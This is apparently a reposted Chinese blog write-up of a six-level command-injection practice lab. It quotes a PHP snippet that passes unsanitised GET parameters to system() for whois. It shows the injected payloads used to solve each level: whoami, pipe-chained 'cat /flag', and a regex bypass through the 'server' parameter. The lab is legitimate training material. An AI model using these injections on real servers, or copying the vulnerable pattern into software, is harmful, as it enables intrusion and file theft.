命令执行漏洞——CMD

第一关

直接在后面跟上?cmd=whoami,即可看到命令执行成功

可以看见www-data

可以知道这是使用的Ubuntu的服务器,根据服务其的目录可以查看自己想要的信息

当然可以查看一下版本信息

 

 那能不能查看有没有flag:

 还真能直接查到,可能是因为是第一关比较简单

 第二关

和上一题一样都是需要传参,但是这次的是POST传参

 

 

 第三关

和上题还不太一样,有whois,我去绕过看看

在后面加?domain=baidu.com|whoami,可以看到命令执行成功

 

 第四关

 

然后才将POST改为 domain=baidu.com|cat /flag

第五关

 

 if (preg_match('/^[-a-z0-9]+\.a[cdefgilmnoqrstuwxz]|

b[abdefghijmnorstvwyz]|

c[acdfghiklmnoruvxyz]|

d[ejkmoz]|

e[cegrstu]|

f[ijkmor]|

g[abdefghilmnpqrstuwy]|

h[kmnrtu]|

i[delmnoqrst]|

j[emop]|

k[eghimnprwyz]|

l[abcikrstuvy]|

m[acdeghklmnopqrstuvwxyz]|

n[acefgilopruz]|

om|p[aefghklmnrstwy]|

qa|r[eosuw]|

s[abcdeghijklmnortuvyz]|

t[cdfghjklmnoprtvwz]|

u[agksyz]|v[aceginu]|

w[fs]|

y[et]|

z[amw]|

biz|cat|com|edu|gov|int|mil|net|org|pro|tel|aero|arpa|asia|coop|info|jobs|mobi|name|museum|travel|arpa|xn--[a-z0-9]+$/', strtolower($_GET["domain"])))
        { system("whois -h " . $_GET["server"] . " " . $_GET["domain"]); } 
    else 
        {echo "malformed domain name";}
    

这里有正则表达式,真的好长,研究语句后尝试层层套用

?domain=baidu.com&server=127.0.0.1|whoami||baidu.com

然后然后,再进行

http://ip/CMD-5/?domain=baidu.com&server=127.0.0.1|cat%20/flag||baidu.com


 第六关

将第五关的get注入改为POST注入

 

cmd靶场进行完毕

猜你喜欢

转载自blog.csdn.net/weixin_46601374/article/details/123952956
今日推荐